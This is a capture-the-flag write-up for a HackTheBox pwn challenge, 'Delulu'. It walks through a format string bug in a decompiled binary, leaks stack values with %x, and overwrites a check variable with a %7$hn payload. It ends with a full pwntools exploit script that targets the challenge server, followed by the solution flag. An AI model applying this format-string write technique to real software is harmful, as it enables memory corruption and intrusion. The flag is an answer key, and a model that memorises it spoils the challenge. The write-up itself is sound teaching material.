Tags: pwn
Rating: 5.0
# Delulu
HALT! Recognition protocol initiated. Please present your face for scanning.
## Writeup
This is the main function of the binary:
```c
undefined8 main(void)
{
long in_FS_OFFSET;
long target;
long *local_40;
undefined8 buffer;
undefined8 local_30;
undefined8 local_28;
undefined8 local_20;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
target = 0x1337babe;
local_40 = ⌖
buffer = 0;
local_30 = 0;
local_28 = 0;
local_20 = 0;
read(0,&buffer,31);
printf("\n[!] Checking.. ");
printf((char *)&buffer);
if (target == 0x1337beef) {
delulu();
}
else {
error("ALERT ALERT ALERT ALERT\n");
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
```
There is a format string on **buffer**.
We can try to print stack variable in order to detect where is the pointer of the variable that we want to change:
```
>> %x.%x.%x.%x.%x.%x.%x
[!] Checking.. e3b6280.0.6314887.10.7fffffff.1337babe.e3b83a0
```
So the target variable contain the value **0x1337babe** and his address by reading the code will be the successive value **0xe3b83a0**.
To check it, just send **%7$s**, because is at the 7th position on the stack and we want to retreive his content:
```
>> %7$s
[!] Checking.. 7
```
The value is **7**, that is the ascii rapresentation of **0x1337babe**
```
>> %7$x.%x.%x.%x.%x.%x.%x.%x
[!] Checking.. fea970a0.fea94f80.0.8fd14887.10.7fffffff.1337babe.fea970a0
```
We can write in this address using **%c** and pointing into the target variable with **%7$n**.
To write **0x1337beef** value, we can add the integer rappresentation of this address times a char, like this:
```python
payload = f"%{0x1337beef}c%7$n"
```
But if we use this payload the exploit will take some time, so we can send half of chars using the format string **%7$hn**:
```python
payload = f"%{0xbeef}c%7$hn"
```
The final exploit will be:
```python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host 83.136.249.159 --port 44420 delulu
from pwn import *
# Set up pwntools for the correct architecture
exe = context.binary = ELF(args.EXE or 'delulu')
context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
if args['LOCAL']:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False) # Can be found via $ ldd exe
else:
libc = ELF('glibc/libc.so.6', checksec=False)
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable
host = args.HOST or '83.136.249.159'
port = int(args.PORT or 44420)
def start_local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
def start_remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return start_local(argv, *a, **kw)
else:
return start_remote(argv, *a, **kw)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Full RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: PIE enabled
# RUNPATH: b'./glibc/'
io = start()
address = 0xbeef
payload = f"%{address}c%7$hn"
io.sendlineafter(b'>>', payload)
io.interactive()
```
This is the flag:
```
HTB{m45t3r_0f_d3c3pt10n}
```
